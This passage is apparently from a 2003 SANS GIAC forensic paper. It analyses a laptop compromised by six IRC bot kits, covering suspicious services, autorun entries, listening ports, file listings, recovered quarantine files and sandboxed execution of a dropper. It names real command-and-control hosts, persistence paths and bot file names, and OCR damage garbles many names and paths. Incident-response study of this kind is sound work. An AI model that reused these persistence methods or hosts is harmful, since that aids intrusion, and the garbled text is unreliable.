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While “wi nmgnt ” is alegitimate Windows executable, “wi nngnt ” isnot. FireDaemon
(http://www.firedaemon.com) is used to install and run any Windows executable as a service.
Whilethisisalegitimate utility, it is frequently used by hackersto install malware as a service,
to ensure the malicious code runs even after Windows is rebooted. While“svchost” isa
legitimate Windows executable, the instance listed above is separated from the two instances
launched earlier on by Windows (as a system process, legitimate svchost instances should be
launched fairly soon after boot and have relatively low Process IDs or PIDs). Finaly,

Net wor k32 is unidentifiable and does not appear to be alegitimate process installed by
Windows or by any third-party application.

From psser vi ce we find the following suspect services:

SERVI CE_NAME: dI | 32
DI SPLAY_NAME: FireDaenon Service: dll 32
(null)
TYPE : 110 W N32_OWN_PROCESS | NTERACTI VE_PROCESS
STATE : 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)

Another instance of “FireDaemon”, this one named “dlI32”. Interestingly, this particular service
is not running and appears to be broken.

SERVI CE_NAME: PSEXESVC
DI SPLAY_NANME: PSEXESVC
(null)
TYPE © 10 W N32_OWN_PROCESS
STATE 1 STOPPED
( NOT_STOPPABLE, NOT_PAUSABLE, | GNORES_SHUTDOWN)

Thisis probably psexec. exe. Though it is not alegitimate Windows executable, it is the name
of alegitimate utility from Sysinternals (http://www.sysinternals.com, part of the PSTools suite)
which allows the remote execution of commands and is frequently used by Windows hackersto
run processes. Note that this service is also stopped and somehow broken.

SERVI CE_NAME: Serv-U
DI SPLAY_NAME: Serv-U FTP Server
Provi des FTP services and allows renote FTP clients to connect to this

conput er
TYPE : 10 W N32_OWN_PROCESS
STATE : 4 RUNNING

( STOPPABLE, PAUSABLE, ACCEPTS_SHUTDOWN)

Serv-U FTPisalegitimate FTP server. However, the service was not installed by our user John
Doe and has most likely been installed by our attackers. This processis running; we will need to
determine the actual process (executable) name associated with this service.

SERVI CE_NAME: svchost
DI SPLAY_NAME: FireDaenon Service: svchost
(null)
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TYPE © 110 W N32_OM_PROCESS | NTERACTI VE_PROCESS
STATE 4 RUNNI NG
( STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)

Y et another FireDaemon instance — this one appears to correspond to our unidentified “svchost ”
process, also running.

From aut or uns we find the suspect executables:

HKEY_LOCAL__MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\

+ ntfg. exe

+ C\Program Fil es\ MSH p9\ WB2Confi g\ .\ Net wor k32. exe

HKEY_LOCAL__MACHI NE\ SOFTWARE\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer vi c
es\

+ ntfg. exe

This gives us alocation (path) for our suspect Net wor k32. exe process. Whilencf g. exe
should be launched at startup according to aut or uns, we did not see it listed as arunning
process; this too appears to be broken.

From f por t we find the suspect executables:

812 wi nngnt
916 svchost
1312 Net wor k32
1312 Net wor k32

22 TCP  C\W NNT\ syst enB2\ wi ns\ wi nngnt . exe

5789 TCP  c:\wi nnt\systenB2\ os2\dl |\ packs\svchost. exe
17267 TCP  C:\ Program Fi | es\ MsH p9\ WB2Conf i g\ Net wor k32. exe
44444 TCP  C \Program Fi | es\ MsH p9\ WB2Conf i g\ Net wor k32. exe

[ T T
vV V VYV

Net wor k32. exe has showed up again, along with our suspect svchost . exe file—the“real”
svchost . exe does not reside at the path listed. Also, our suspect wi nngnt . exe process
appears here listening on port 22, usually reserved for Secure Shell (SSH) — though user John
Doe states he is not running a Secure Shell server on this host.

Missing Pieces: Why Does Some of Our Malware Appear to be Broken?

Degpite several leads, we have identified afew anomaliesin our initial forensic audit — at least
three unknown processes / services that are referenced in our audit output (from aut or uns and
psser vi ce) should be running (and therefore listed in our psl i st output)...but they’ re not.
Did our attacker attempt to clean up after himself? Isthis some very badly written malware? Or
is there some other explanation?

We recall from our interview with user John Doe that he stated that his system had been “acting
funny” afew months ago. He updated (installed for the first time?) his antivirus software and
scanned the system. The antivirus “found and removed afew things’, though Mr. Doe could not
recall any specific viruses that were found on his system.

It's possible that Mr. Doe' s antivirus removed some of the maliciousfiles at that time. To find

out for certain, it will be necessary to “touch” the suspect host (which we're using for our
investigation) more than we'd like, but there isno help for that. We open Norton Antivirus
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(which we've determined was installed — or reinstalled — on 3/17/2003, based on file system
timestamps) and review the logs.

Norton indicates that afull system scan was last performed on 3/28/2003. The virus definitions
are dated 6/7/2003 (and were current at the time of the investigation). The subscription serviceis
due to expire on 3/18/2004, which is consistent with an initial installation date of 3/17 or 3/18 for
the antivirus software itself (a standard subscription isvalid for one year).

We then check Norton’s alert log, and find that on 3/17 and 3/28 Norton found quite a bit to
object to on John Do€' s system. A number of files were detected as malicious, mostly relating to
various IRC components, Trojans, and Backdoors. (A full listing of the Norton alert log is
included in Appendix C.)

Thisanalyst’s experience with IRC bots and antivirus software has shown that antivirus software
in general does only amiddling job of detecting and cleaning IRC bots. Though antivirus
companies have made some improvements, detection rates were generally very poor in May —
June 2003, when this investigation was initially carried out. Even now (September 2003 as of
thiswriting), if antivirus is capable of detecting some bot-related files (i.e., the main IRC
executable, or adenial of service script), it israrely capable of detecting al of them. Thus any
“cleanup” that relies solely on antivirus software is bound to detect some files, while leaving
others behind. (The remaining files may be “legitimate” files used for malicious purposes, which
are therefore not detected by antivirus; or may be non-detectable due to lack of a standard
signature, as in the case of an IRC configuration file, which will change based on the attacker’s
preferences; or may be non-detectabl e because the antivirus vendor never received a complete
“kit” to analyzein thefirst place.)

S0, it appears that John Doe' s antivirus tried to clean up his system but was only partly
successful. This makesit difficult for us as analysts, because key malicious files (the ones most
easily identified by antivirus software) have most likely been deleted from the system.

Fortunately, Norton uses a“quarantine” feature — saving a copy of the maliciousfilein a
protected location before deleting the original from disk. When John Doe attempted to clean up
his system, fortunately for us he failed to del ete the quarantined files. By examining the
“quaranting” location, we are able to retrieve copies of the files Norton originally deleted, along
with their original location (path) on disk. (A full list of quarantined files appearsin Appendix
C)

We export copies of these files from Quarantine to our analysis workstation for later review. We
also restore these files from quarantine to their original location(s) on the suspect host’sfile
system. Thiswill help us locate other, possibly related malicious files in the same locations or
with the same/ similar time stamp (note that restoring the file from Quarantine will modify the
last Access time — changing it to the date/time the file was restored from Quarantine — but will
preserve the file Creation time).

Fillingin the Gaps: Obtaining Copies of Our Malware

© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.



Now that we know the names (and in several instances, the full path) to several suspect files, we
can turn to our file system to look for additional malware in the same locations. We have several
places to look:

C: \ W NNT\ syst enB2\ wi ns (home of wi nngnt . exe)

C:\wi nnt\ syst enB2\ 0s2\ dl | \ packs (home of svchost . exe)

C:\ Program Fi | es\ MsH p9\ W82Conf i g (home of Net wor k32. exe)

C:\Tenp\ Dri vers (homeof bl . exe, quarantined by Norton Antivirus)

C:\ W NNT\ syst enB2 (home of ntf g. exe (and others), quarantined by Norton Antivirus—
recall this process was called at startup from the registry but did not show up in our process list —
that was because Norton had quarantined / removed the file)

In addition, we can search on the other suspect file/process names to determine their locations as

well.

In some cases, any malicious files may be relatively easy to find; the directory

c:\wi nnt\syst enB2\ os2\dl | \ packs, for example, is not avalid Windows or third-party
directory; anything found here, by definition, must be malicious. A quick check of thislocation
shows the following files present (from our listing of files by creation time):

Directory of C \WNNT\systenB2\ os2\dl I\ packs

11/ 19/ 2002 03:56p <Dl R>

11/ 19/ 2002 03:56p <Dl R> .

11/19/2002 03:56p 1,306 SERV-U.IN
11/19/2002 03:56p 36, 864 Tzoli br.dl

11/ 19/ 2002 03:56p 1,706 bmdl

11/19/ 2002 03:56p 32,842 BugSl ayer Util . dl
11/19/ 2002 03:57p 4 ccd. dl

11/19/ 2002 03:57p 52 ccdx. dl| . bkup
11/19/2002 03:57p 52 ccdx. dl

11/19/ 2002 03:57p 386 chgdir.dl
11/19/ 2002 03:57p 7,575 Configure
11/19/ 2002 03:57p 15, 146 COPYI NG

11/19/ 2002 03:57p 625, 152 cygwi nl. dl
11/19/ 2002 03:59p 228, 940 xXx.exx

11/19/ 2002 03:59p 81, 920 Fi reDaenon. exe
11/19/ 2002 04:00p 0 gsmdl

11/19/ 2002 04:00p 78 hi de. bat
11/19/2002 04:00p 4 ig.dl

11/19/ 2002 04: 00p 857 iroffer.cron
11/19/ 2002 04:00p 42 KEY.OLD

11/19/ 2002 04:00p 4,294,967, 295 | dcd. dl

11/19/ 2002 04:01p 675,840 |ibeay32. dl
11/19/2002 04:02p 938,062 |ibxm 2.dl
11/19/ 2002 04: 04p 5, 305 License. txt
11/19/ 2002 04:04p 51 nybot . xdcc
11/19/ 2002 04: 04p 51 nybot . xdcc. bkup
11/19/ 2002 04:04p 164 of f.txt
11/19/2002 04: 04p 756 on.txt

11/19/ 2002 04: 04p 174 secure. bat
11/19/ 2002 04: 04p 275,968 services. exe
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11/19/ 2002 04:05p 151, 552 ssl eay32. dl

11/ 19/ 2002 04:05p 118, 858 SvcAdni n. dl
11/19/ 2002 04: 06p 1, 026, 048 svchost. exe
11/19/2002 04:08p 391 tr. bat

11/ 19/ 2002 04:08p 426 tr1. bat

11/ 19/ 2002 04:08p 440 tr2. bat

11/ 19/ 2002 04:08p 1,788 wg. conf
11/19/ 2002 04:08p 4 xdccnt.ign
11/19/ 2002 04:08p 11, 732 xdccnt. | og
11/ 19/ 2002 04:08p 132,879 xdccnt . | og. 2002- w38
11/19/ 2002 04:09p 0 xdccnt. nsg
11/ 19/ 2002 04:09p 5 xdccnt . pid
11/19/2002 04:09p <Dl R> Upl oads
11/19/2002 04:09p <Dl R> src

40 File(s) 4,299,340, 715 bytes

Table 3 - Filesin the C:\winnt\system32\os2\dlI\packs dir ectory

Note that al files have Creation date / time stamps on 11/19/2002 between 3:56 PM and
4:09PM; part, if not all, of this hack appears to have been automated. Also, notethefile

| dcd. dI | ,whichis4GB in size. The size of thefile struck the investigator as strange — no
executable could possibly need to be that large. Was this an installation (dropper) file? Wasit a
dump of Windows virtual memory (which isaso 4GB in size)? Perhaps the attackers were
attempting to dump the contents of memory to disk for later searching? (Later investigation of
thisfile using a hex editor showed that it was in fact alog file showing connection attempts to
several of the IRC servers and channels used by the hackers.)

For directoriessuch asc: \ wi nnt \ syst enB82, locating our malicious files is much harder. That
directory contains the majority of the legitimate Windows binaries; finding afew malicious files
amidst thousands of legitimate onesis adifficult task at best.

For this reason, in addition to checking the various locations (paths) that we have tagged as
suspect, we need to cross-reference those locations with time stamps. If we can determine the
Creation and/or Access times for afile we know is malicious, and then look for files with
timestamps that are identical or very close together, we have a high probability of detecting our
set of maliciousfiles.

The timestamps can be cross-referenced using a generated timeline, such as that produced by
The Sleuth Kit (TSK) and Autopsy. However, we will leave the generation of aformal timeline
aside for the moment. Instead, we will use the timelines we generated using the Windows di r
command to allow us to quickly search for and cross reference our maliciousfiles.

As an example, we restored file ncf g. exe from Quarantine to its original home in the
C: \wi nnt\ syst enB2 directory. We then locate that file namein our list of files, sorted by
Creation time. The file appears within the following set of file names:

...(truncated for space)

02/ 06/ 2003 05:37p <Dl R> rnmcfg
02/ 21/ 2003 08:05p 16, 384 Pi peCndSrv. exe
02/ 21/ 2003 08: 05p 24,096 ntfg. exe

© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.




03/01/2003 06: 02p 61, 440 PSEXESVC. EXE

03/ 01/2003 06: 03p 15, 392 rat sou. exe

03/01/2003 07:03p 15, 392 newexpl ore. exe

03/ 10/ 2003 04: 19p 15, 392 eexpl or e. exe

03/ 16/ 2003 12:00p 1, 754, 868 el eet . exe

03/ 16/ 2003 12:08p 5,632 Secur eNet bi 0s. exe

03/ 16/ 2003 12:08p 39, 424 bootdrv. dl

03/16/2003 12:08p 1,994 aliases.ini

03/ 16/ 2003 12:08p 768,840 cygw nl.dl

03/ 16/ 2003 12:08p 59 expl or e. DAT

03/ 16/ 2003 12:08p 29, 696 hi dden32. exe

03/ 16/ 2003 12:08p 228,940 iroffer.exe

03/ 16/ 2003 12:08p 35, 600 kill.exe

03/ 16/ 2003 12:08p 25, 600 Li bparse. exe

03/ 16/ 2003 12:08p 901 nybot . t xt

03/ 16/ 2003 12:08p 46 mybot . xdcc. bkup

03/ 16/ 2003 12:08p 46 mybot . xdcc

03/ 16/ 2003 12:08p 6 nybot. pid

03/ 16/ 2003 12:08p 0 nmybot.ign

03/ 16/ 2003 12:08p 370 rconnect. conf

03/ 16/ 2003 12:08p 5,487 pirc.in

03/ 16/ 2003 12:08p 18, 944 rconnect . exe

03/ 16/ 2003 12:08p 122, 880 psexec. exe

03/16/2003 12:08p 125 regkeyadd. bat

03/ 16/ 2003 12:08p 348 regkeyadd. reg

03/ 16/ 2003 12:08p 1, 741 ServUDaenon. i ni

03/ 16/ 2003 12:08p 22,016 svchost 32. exe

03/16/2003 12:08p 14, 848 war eznan. exe

03/ 16/ 2003 12:08p 2,390 web. swf

03/ 16/ 2003 12:08p 496, 836 W NMGNT. EXE

03/ 16/ 2003 01:08p 25, 740 acti vex. ocx

03/ 16/ 2003 01:08p 63, 140 str.vxd

03/ 16/ 2003 01: 08p 1,220 Script.ocx

03/ 16/ 2003 01: 08p 17,574 navdb. dbx

03/ 16/ 2003 01:08p 439 Secure. bat

03/ 16/ 2003 01:08p 3,694 v32dri ver. bat

03/ 16/ 2003 01:08p 125 start. bat

03/ 17/ 2003 03:54p 39, 936 nsi si p. dl

03/ 17/ 2003 04:02p 124,167 SYMEVNT. 386

03/ 17/ 2003 04:02p 83,208 S32EVNTL1. DLL

03/ 17/ 2003 04:03p 14 SR2. dat

03/ 17/ 2003 04: 10p 45, 056 gdcspi . dl
(truncated for space)

Table 4 - Partial listing of filesin c:\winnt\system32 directory

nmcf g. exe was created on the same date/time (2/21/2003, 8:05 PM) as Pi peCndSr v. exe —
another non-legitimate file. While no other files have the same creation date, subsequent filesin
thelist (from PSEXESVC. EXE onward) are also easily recognized as non-legitimate files.
PSEXESVC itself isalmost certainly the remote process execution service we identified in our
suspicious psser vi ce output. Other files are obviously suspect: el eet . exe, nybot . *,
pirc.ini (PIRCisaWindowsIRC client, *. i ni represents aconfiguration or initialization
file), Ser vUDaenon. i ni , etc
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Note the time skew for several of the files created on 3/16/2003 — some bear atime stamp of
12: 08p, others of 1: 08p. Thisisan anomaly caused by the fact that we restored several files
from Norton’s quarantine location. The original infection took place in March; the files were
restored in June — after the computer clock had switched from Pacific Standard Time (PST) to
Pacific Daylight Time (PDT), which caused the one-hour discrepancy. The files were actually
all created at the sametime.

There is abreak in the time stamps between 3/16/2003 at 1:08PM and 3/17/03 at 4:02PM. The
files stamped 3/17 appear to be standard Symantec (Norton) application files. It looks like John
Doe got suspicious following the hack that occurred between 3/1 and 3/16, and installed
antivirus on 3/17 to scan and attempt to clean his system.

Searching all of the file system locations/paths referenced in our audit output, and using the
timestamps of “known bad” files to locate other, possibly related files, we are able to locate more
than two hundred and fifty suspect files. (A complete listing of files, including time stamps,
location found, and MD5 hashes, isincluded in Appendix D.)

Interestingly enough, a preliminary review of the files and associated time stamps seems to
indicate that our intrepid remote access user, Mr. Doe, was hacked not once but at possibly as
many as eight separate times. Oh my. The infection dates/ times, or dates / times of major
activity are:

* November 19, 2002 3:56PM PST

* February 6, 2003 5:37PM PST

* February 21, 2003 7:05PM PST

* February 25, 2003 9:55PM PST

* March 1, 2003 6:02PM PST

* March 10, 2003 4:19PM PST

e March 16 — 20 (inclusive, various times), 2003 (note that Mr. Doe installed and ran
antiviruson March 17)

e April 21,2003 11:17PM PST

We'll delve into the timeline details |ater; first we want to know more about exactly what the bad
guys were doing on Mr. Do€' s computer.

MD5 Hash Values: Digital Fingerprints

Before we examine the malicious files found on Mr. Doe’ s computer, we want to “fingerprint”
the files the same way we “fingerprinted” the hard drive — by generating MD5 hash values of the
filesthemselves. Thiswill ensure that the files are not modified during later investigation, and
will aso uniquely identify each file for future reference.

Copies of the malicious files are placed on our forensic workstation, with care taken to preserve

the directory structure of the original host. A list of MD5 hash valuesis generated using
Windows port of the * nix md5sumcommand, using the generic syntax:
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md5sum [ pat h] fil ename >> nmd5suns. t xt
A full list of MD5 hash valuesisincluded in Appendix D.
Strings Output: Insight into Our Malware

In addition to generating MD5 hash values, we want to search for useful bits of readable text in
thefilesfound. To do this, we can use the Windows port of the *nix st ri ngs command.
Strings output is generated for al retrieved files using the generic syntax:

strings -a [path] filename > strings_fil enane. txt

wheref i | enane isthe name of the suspect file (thus generating an individual text output file
for each file examined). Due to the large number of malicious files found on this host, afull
listing of st ri ngs output isnot included in this document. However, limited st ri ngs output,
listing key “fingerprints” or identifying marks from each bot kit, is provided in Appendix E.

I nitial Conclusions

Our strings output can give us some insight into the nature of what we're dealing with — text-
based files such as scripts and configuration files are easily read and identified. This provides us
with preliminary information on the bots such as:

* thelRC serversthey are programmed to connect to;

» thechannel names used;

» the configuration parameters for the FTP servers (including logon credentials);
» someinsight into the capabilities and function of the tools.

Analysis of our “strings’ output, combined with time stamps, leads us to conclude that the file
activity from 21 February and 25 February was in fact related (i.e., due to same individual /
group), as was the file activity from 1 March and 10 March. Thisleaves uswith six intrusions/
sets of tools. Typica of IRC bots, these seem focused on illegal file swapping (pornography,
music, movies) and/or using bot-infected hosts as an army of “zombies’ to launch denial of
service attacks and seek / infect other vulnerable hosts.

Based on the st ri ngs output and the various configuration files associated with some of the
tools, we can identify the following bots and our best guess at the “handle” of the
group/individual behind them.

* Bot #1 (#Ultimate~3DWarez / #BlackMarket): Combination of IRC, Serv-U FTP
server, and xdcc / iroffer for file sharing.
o0 Install date: 19 November 2002
0 Install path: wi nnt\systenB2\ 0os2\dl I\ packs
o Keyfiles. svchost. exe, actually acopy of Serv-U FTP Server (v.2.5f)
configured to listen on port 5789
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* Bot #2 (FIRM): basic IRC bot for remote access / remote control of infected host.
o Install date: 6 February 2003
0 Install path: wi nnt\systenB2\rntcfg
o Keyfiles: rntcfg. exe, IRC client, attempts to connect to predefined list of IRC
servers

* Bot #3 (BloodLab / Microbots): IRC bot for remote access/ remote control of infected
host. Thisisamore sophisticated bot / suite of tools, including scripts to scan for and
infect additional host and launch various denia of service attacks. Also includes a copy
of the legitimate application VNC (Virtual Network Computing), presumably for use as a
backdoor.

o Install date: 25 February 2003
o Install path: \ Program Fi | es\ MSH p9\ WB2Confi g
o Keyfiles:
= networ k32. exe (IRC client, listens on TCP ports 17267 and 44444,
attemptsto connect to hel | 2. ser ver box. or g)
= vnsyst ask. exe (VNC server, listens on TCP ports 5800 and 5900 when
running)
= bOt. exe (creates IRC client filencf g. exe when executed, which
attemptsto connect toi r c. uni xphr 34kz. com)
= bl.exe (identical to b0t . exe).

 Bot#4 (TiGeR / XTeam): basic IRC bot for remote access/ remote control.
o0 Ingtall date: 10 March 2003
o Install path: \'wi nnt\ syst enB2
o Keyfiles:
= eexpl ore. exe (IRC client, attempts to connect to
1. horre. godspeopl e. power dns. or g)
= el eet.exe (“dropper” file used to install this bot kit)
= expl orer. exe (IRC client, listens on port 113 and 35869; attemptsto
connect to ami t ush. no-i p. com
= ntfg. exe (IRC client, attemptsto connect toi r c. uni xphr 34kz. com)
= newexpl ore. exe (IRC client, attempts to connect to
1. horre. godspeopl e. power dns. or g)
= ratsou. exe (createsfileeexpl or e. exe when executed (see above))
= securenet bi os. exe (IRC client, attempts to connect to
nmorty. m ne. nu)
= wi nngnt . exe (Serv-U Ftp server v3.0; listens on ports 1234 with banner
“220 Wl cone to "AATi GeRM PubStro!!” and 5555 with banner
“220 Serv-U FTP Server v3.0 for WnSock ready..”)

» Bot #5 (NForce/ FrozeNet): IRC bot for remote access / remote control; another
sophisticated bot comparable to Bot #3. Also includes FTP server / iroffer for file
sharing, along with two scanning tools (SFind and X Scan) to alow scans/ attacks from
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the infected host. Note that this hacking group has their own web site:
http://www.nforce.nl.
0 Install date: 19 March 2003
0 Install path: \'wi nnt\ systenB2\w ns
o Keyfiles:
= wi nngnt . exe (Serv-U FTP Server v3.0; listens on port 22)
= nmirc.exe (IRC client, attemptsto connectto | rc. Fr ozeNet . Net and
195. 238. 0. 15: 6667 (non-existent domain))

* Bot #6 (DTBOT): another sophisticated IRC bot, including scripts to find and infect
other hosts and to launch denia of service attacks. It isidentified by Norton Antivirus as
the “Ratsou” IRC bot / Trojan / backdoor.

o Install date: 21 April 2003
0 Install path: \'wi nnt\ Hel p\ Tour s\ ht M Tour
o Keyfiles:
* ratsou. exe (attemptsto connect to amat eur . f r eegayspace. comto
attempt to download additional tools/ files)
=  expl 32. exe (IRC client)

Severa of the bots include scripts that attempt to infect a vulnerable host by attempting a brute
force attack against the “ Administrator” account or other common account names. Inthe
interview with user John Doe, he stated that all user accounts on the system had “ strong”
passwords, but he was not sure about the Administrator account.

Although the specific infection method could not be positively determined, it is highly probable
that Mr. Doe€' s laptop was infected viaaweak (or blank) Administrator password. No personal
firewall wasinstalled on the host, and antivirus was not installed / active until 17 March 2003,
after five of the six infections had already taken place.

Interestingly enough, we can see from the output of Somarsoft’s DumpSec utility
(http://www.somarsoft.com), that the password for the Administrator account was last used to
logon on March 10, 2003 at 4:17 PM (the date the “eexpl or e. exe” bot file wasinstalled on
the host). Onceinfected, further logon with the Administrator account would not be necessary —
the host could be controlled viathe IRC channel. The password was last changed on March 18,
2003 at 8:41 PM: possibly by the attackers (to prevent others from re-infecting the host viathe
same method) or possibly by John Doe in an attempt to further secure his system.

6/ 25/ 2003 5:52 PM - Somarsoft DunpSec (formerly DunpAcl) - \\JDOE
(local)
User Nane  Groups Account Type PswdCanBeChanged PswdLast Set Ti ne
Last LogonTi nme
Adm ni strat or Adm ni strators Local User Yes 3/18/2003 8:41 PM
3/ 10/ 2003 4:17 PM

Table5 - Output from DumpSec (edited) showing activity for Administrator account
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If the Administrator password was changed on March 18, how did the final infection — Bot #6,
from April 21 —take place? This bot does include a batch script to attempt to logon to
vulnerable hosts using a predefined list of usernames and passwords. However, our DumpSec
output shows us that the Administrator account was not used after March 10.

Bot #6 appears to be the “Ratsou” |RC bot identified by several antivirus vendors'®. “Ratsou”
usesthefiler at sou. exe to download the actual dropper (installation) file, pi zza. exe.

Rat sou. exe could have been executed in a number of ways — manually by John Doe himself
(i.e., aTrojan), or downloaded and executed automatically (i.e., viaabrowser vulnerability
which allowed a script on amalicious web page or in amalicious email to download and execute
files).

Finally, out of curiosity, we use Symantec’s Norton Antivirus 2002 (virus signatures dated
9/18/2003) to scan the copies of the malicious files that we have placed on our analysis
workstation. Out of 251 bot-related files retrieved, Norton identifies only 57 of them as
malicious. The“malware’ detected is generic, referring to thingslike “IRC Trojan” and
“Backdoor.IRC” and “Trojan.Downloader”.

Though we have arelatively good picture of the malware and what we're dealing with, we can
still perform further testing to better understand some of the binary files found with these tools.

VMWare Testing: Watching the Malwarein Action

In order to further study our malicious files, we can run them in arestricted environment, as
described in Part 1 of this document. A VMWare 4.0 “virtual machine” isinstalled on our
Windows XP forensic laptop. Our virtual environment is configured as a Windows 2000
Professiona system with Service Pack 3 (no further patches installed), as well as copies of
Winzip, Ethereal, and various monitoring tools (PSTools, Filemon, Regmon, etc.). Copies of all
of our maliciousfiles are also placed on the virtual machine. We can then run various
monitoring tools while we execute some of the unknown binaries in order to observe in detail the
actions taken by each binary; this should give us greater insight into the function or operation of
the various tools.

This method can be used for the following purposes, among others:

» Execute a“dropper” (instalation) file (if found) to clearly identify the full set of files
installed by the attackers.

* Execute an IRC bot (IRC client) file to observe the servers/ channels to which the bot
attempts to connect.

* Execute an unknown binary to observe its function.

* Executefilename —horfil enanme /?toseeif “help” information is available for
any unknown binaries (doesn’'t aways work, but useful when the attackers have built
their bots using other, standard precompiled binaries).

19 For example, see “Backdoor.|RC.Ratsou”, Symantec Security Response, 5 May 2003. URL:
http://securityresponse.symantec.com/avcenter/venc/data/backdoor.irc.ratsou.html (URL may be wrapped.) Page
accessed 28 September 2003.
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Due to the number of malicious files found, full details of all VMWare testing is not provided in
this document; however, afew examples are provided below.

Analysis#1: Examining a dropper file.

We believe that thefileel eet . exe isa“dropper” file used to install one of the IRC bots used
by group #5 (NFOrce). Within our VMWare test environment, we start the following utilitiesto
monitor the activity of our suspect file:

» Ethereal, to monitor network traffic

* Filemon, to monitor all file access to the host

* Regmon, to monitor all registry access to the host

Once these tools are running, we execute el eet . exe. After allowing el eet . exe torunfor a
time, we stop our monitoring tools and review the results.

Fi | emon. exe givesusalist of all filesinstalled by this dropper file. We filter our output to
look for entries containing “el eet . exe” and highlight those showing WRITE access
(indicating as file was created):

2. File Monitor - Sysinternals: www.sysinternals.com il | i = |I:||_5I

Eile: Edit ©ptions Yolumes Help

H RBE| @ | P | #ALH |

Process | Hequest | Path | Rezult | Other -
= elestemecd76 CLOSE T34 SICCESS -~

Enl clect ene:37E CREATE  CAWINNTASYSTEMI?\Actveriooy  SLICCESS Optionz: Owvenantelf Ao
= EB WSS TEMI2WActive ooy SUICEESS Offzat 0 Length 25740
=l elestewne: 376 CLOSE  CWWINMTASYSTEM3IZ\Activer ook SUCCESS -
1 | Bl

Figure 6 - Filemon output showing file creation by ‘eleet.exe’

Based on Filemon, we seethat el eet . exe creates the following 33 files:

C.\wi nnt\syst enB2\ Acti veX. ocx
C.\wi nnt\systenB2\aliases.ini
C.\wi nnt\syst enB82\ bootdrv. dl |
C.\w nnt\systenB82\ cygw nl. dl |
C.\w nnt\syst enB2\ expl or e. DAT
C.\w nnt\systenB2\ expl orer. exe
C \wi nnt\syst enB2\ hi dden32. exe
C\wi nnt\systenB2\iroffer.exe
C\wi nnt\systenB2\kill.exe
C.\w nnt\systenB2\1i bparse. exe
C.\wi nnt\ syst enB2\ nybot . i gnl
C.\wi nnt\syst enB82\ nybot . pi d
C.\wi nnt\ syst enB2\ nybot . t xt
C.\wi nnt\ syst enB2\ nybot . xdcc
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nnt \ syst enB2\ mybot . xdcc. bkup
nnt\ syst enB82\ navdb. dbx
nnt\systenB2\pirc.ini

nnt\ syst enB2\ psexec. exe

nnt\ syst enB2\ r connect . conf
nnt\ syst enB2\r connect . exe
nnt \ syst enB82\ r egkeyadd. bat
nnt \ syst enB2\ r egkeyadd. r eg
nnt\ syst enB2\ scri pt. ocx

nnt \ syst enB2\ secur e. bat

nnt \ syst enB2\ Secur eNet bi os. exe
nnt \ syst enB2\ Ser vUDaenon. i ni
nnt\ systenB2\ start. bat
nnt\systenB2\ str. vxd

nnt \ syst enB2\ svchost 32. exe
nnt\ syst enB82\ v32dri ver. bat
nnt \ syst enB82\ war ezman. exe
nnt \ syst enB82\ web. swf

nnt \ syst enB82\ wi nngnt . exe

£ £ £ sss2s:2s22222£2:2:22

Thisis consistent with our file timestamp information, which shows the same files being created
on 16 March 2003 at 12:08 PM (numerous files with the same creation date imply some type of
automated installation as opposed to being manually copied to the infected host).

Regnon. exe gives usinsight into the registry accesses performed by eleet.exe and the files it
instals (such asexpl or er . exe, the IRC client / bot). For example, we can see the IRC-related
registry entries (such as Date Used, DisplayName, Uninstall String, and others) created when
expl or er . exe runs (note the standard mIRC icon associated with this executable):

4

& Registry Monitor - Sysinternals: www.sysinternals.com = II:IiEl
File Edit ©Opkions Help
H | RBET | 232 | M4#
Frocess | Fiequest | Fath | Result | Other =
explorer.... Createkey  HECUMSoftwarehmlBChDatell zed SUCCE... Few OxE
orer... Sefalue  HECUMNSoftwarehmlBCADatell sed\Default] SR
explorer.... Clozekey  HECUMSoftwarehmlRChDatellzed SUCCE... Kew OxE
explarer.... ClazeFey  HECUASaftwarehmlRC SUCCE... Key OxE
explorer.... Createkey  HELMMSoftwarehMicrozoftysfindows\Curenfyersiont UninstalmlBC SIUCCE... Few OxE
orer... Sefalue  HELMMNSofbwarehMicrosoffsWindows\Curentyersiont U ninstalhmlBCS.. SUCCE... “mlBC
explorer.... Clozekey  HELMASoftwarehMicrozoftywindows\CurentyersiontUninstalmlBC - SUCCE... Few OxE
explorer.... Createkey  HELMASoftwarehMicrozofttsfindowz\CurenfyersiontUninstalmlBC SUCCE... Few OxE
orer... Seffalue  HELMAYSofbwarehMicrosafs\Windows \Curentersiont U ninstalhml BT SUCCE.. ™ ehaain
explarer.... Closekey  HELMA\SofbwarehMicrozofthwindowshCurenfersionhUningtalhmlBC . SUCCE.. Kew: OsE
explorer.... Cluerkey  HECU SUCCE... Mame: %
explarer.... Openkey  HECUS.cha MOTFO...
explarer.... Openkey  HECH SUCCE...

Figure 7 - Regmon output
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Now that we have extracted and installed our bot file in our test environment, we can also use
other tools to see how our host has been modified. For example, running FPort to show listening
ports (and the binaries using them) indicates that our IRC bot, expl or er . exe, islistening on
TCP ports 113 (ident, commonly used with IRC) and 35869 (presumably a backdoor port used
for remote access by the attackers).

FPort v2.0 - TCP/IP Process to Port Mapper

Copyright 2000 by Foundstone, Inc.

http://ww. f oundst one. com

Pi d Process Port Proto Path

1008 expl orer -> 113 TCP  C \w nnt\syst enB2\ expl orer. exe
408 svchost -> 135 TCP  C.\W NNT\ syst enBB2\ svchost . exe
8 System -> 139 TCP

8 System -> 445 TCP

528 MSTask -> 1025 TCP  C \WNNT\syst enB2\ M5Task. exe

8 System -> 1027 TCP

8 System -> 1030 TCP

1008 explorer -> 35869 TCP  C \wi nnt\systenB2\ expl orer. exe
408  svchost -> 135 UDP  C\ W NNT\ syst enB2\ svchost . exe
8 System -> 137 UubP

8 System -> 138 UubP

8 System -> 445 UDP

220 | sass -> 500 UDP  C \ W NNT\ syst enB2\ | sass. exe
208 services -> 1026 UDP  C \ W NNT\systenB2\services. exe

Figure 8 - FPort output showing explor er.exe listening on two ports

Analysis#2: Examining an IRC fileto see whereit triesto connect.

IRC bots will attempt to connect to one or more specified IRC servers. In many cases, the IP
addresses / host names of the servers used are readily visible in text-based configuration files.
However, in some cases, the host name may be hard-coded (embedded) within a compiled binary
and can only be obtained by running the bot and observing where it triesto go. Even if
references to specific servers are visible within configuration files, it may still be useful to run
